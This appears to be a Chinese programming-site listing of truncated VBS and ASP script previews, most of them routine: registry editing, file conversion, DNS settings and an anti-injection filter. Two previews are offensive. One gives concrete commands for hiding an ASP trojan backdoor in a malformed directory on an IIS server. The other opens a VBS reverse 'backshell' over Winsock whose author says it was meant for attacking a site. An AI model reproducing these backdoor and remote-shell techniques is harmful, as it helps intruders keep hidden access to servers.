编程开发 软件列表

禁止QQ上网的vbs脚本代码
VB

禁止QQ上网的vbs脚本代码

2020-02-16 标签:禁止,qq,上网,vbs,脚本,代码,dim,bag,pipe,honker,good,set,getobject,winmgmts,root,cimv,execquery,select,win

dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.execquery("select * from win32_process w

用VBS来代替BAT或CMD文件进行命令
VB

用VBS来代替BAT或CMD文件进行命令

2020-02-16 标签:vbs,代替,bat,cmd,文件,进行,命令,自动,导入,注册表,检测,error,resume,next,dim,msg,fso,shell,set

自动导入注册表的,带检测: On Error Resume Next dim msg,fso,shell Set fso = Wscript.createobject("scripting.filesystemobject") set wshshell = wscript.CreateObject(

一段asp防注入的通用脚本
ASP

一段asp防注入的通用脚本

2020-02-16 标签:一段,asp,注入,通用,脚本,放在,conn,就行,屏蔽,通过,地址栏,攻击,url,request,query,string,instr

放在conn.asp里就行了。'屏蔽通过地址栏攻击url=Request.ServerVariables("QUERY_STRING")if instr(url,";")>=1 thenurl=Replace(url,";",";") : Response.Redirect("?" &

隐藏ASP木马后门的两种方法
ASP

隐藏ASP木马后门的两种方法

2020-02-16 标签:隐藏,asp,木马,后门,两种,方法,建立,非标准,目录,mkdir,images,拷贝,copy,c,inetpub,wwwroot,dbm

1、建立非标准目录:mkdir images..\ 拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp 通过web访问ASP木马:http://ip/images../news.asp?ac

用vbs操作注册表实例代码
VB

用vbs操作注册表实例代码

2020-02-16 标签:vbs,操作,注册表,实例,代码,打开,关闭,cmd,dim,wshshell,r,m,v,t,g,i,error,resume,next,set

打开或关闭CMD:Dim WSHShell, r, m, v, t, g Dim i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKEY_CURRENT_USER\Software\Polic

一个用vbs查找硬盘所有分区中的指定程序的代码
VB

一个用vbs查找硬盘所有分区中的指定程序的代码

2020-02-16 标签:vbs,查找,硬盘,分区,指定,程序,代码,error,resume,next,忽略,错误,dim,filename,声明,变量,re,set,new,regexp

On Error Resume Next '忽略所有错误 Dim filename '声明变量 Dim re Set re=New RegExp '建立正则表达式对象实例 re.Pattern="^([a-z]|[A-Z])+\:\\\w+\.vbs$" If re.Test(WScript.Scr

VBS实现DOC转为文本文档的代码
VB

VBS实现DOC转为文本文档的代码

2020-02-16 标签:vbs,实现,doc,转为,文本文档,代码,打开,记事本,输入,如下,error,resume,next,set,args,wscript,arguments,arg,w

打开记事本输入:实现代码如下:ON ERROR RESUME NEXTset args=wscript.argumentsarg=args(0)set w=createobject("word.application")set fso=createobject("scripting.filesyst

TCP版backshell的VBS脚本代码
VB

TCP版backshell的VBS脚本代码

2020-02-16 标签:tcp,backshell,vbs,脚本,代码,特殊,准备,用的,没想到,写完,补上,郁闷,009,baicker,hotmail,com

'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷 'by 009, baicker@hotmail.com 'date:071221 Dim revdata set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )

用vbs实现修改dns的网关脚本
VB

用vbs实现修改dns的网关脚本

2020-02-16 标签:vbs,实现,修改,dns,网关,脚本,代码,如下,const,t,gateway,newdns,strwinmgmt,winmgmts,impersonate,set

实现代码如下:Const T_GATEWAY = "1.1.1.1" '网关 Const T_NEWDNS1 = "2.2.2.2" 'DNS1 Const T_NEWDNS2 = "3.3.3.3" 'DNS2 strWinMgmt="winmgmts:{impersonationLevel=im

用vbs实现的输入助手附使用方法
VB

用vbs实现的输入助手附使用方法

2020-02-16 标签:vbs,实现,输入,助手,使用方法,echo,脚本,拖到,根据,提示,操作,即可,代码,如下,error,resume,next,set

//把要ECHO的脚本,拖到此脚本上...根据提示操作即可实现代码如下:On Error Resume NextSet Arg=Wscript.argumentsIf Arg.count=0 then Wscript.quit‘——————-‘Enjoy it‘Code By NetPatch‘——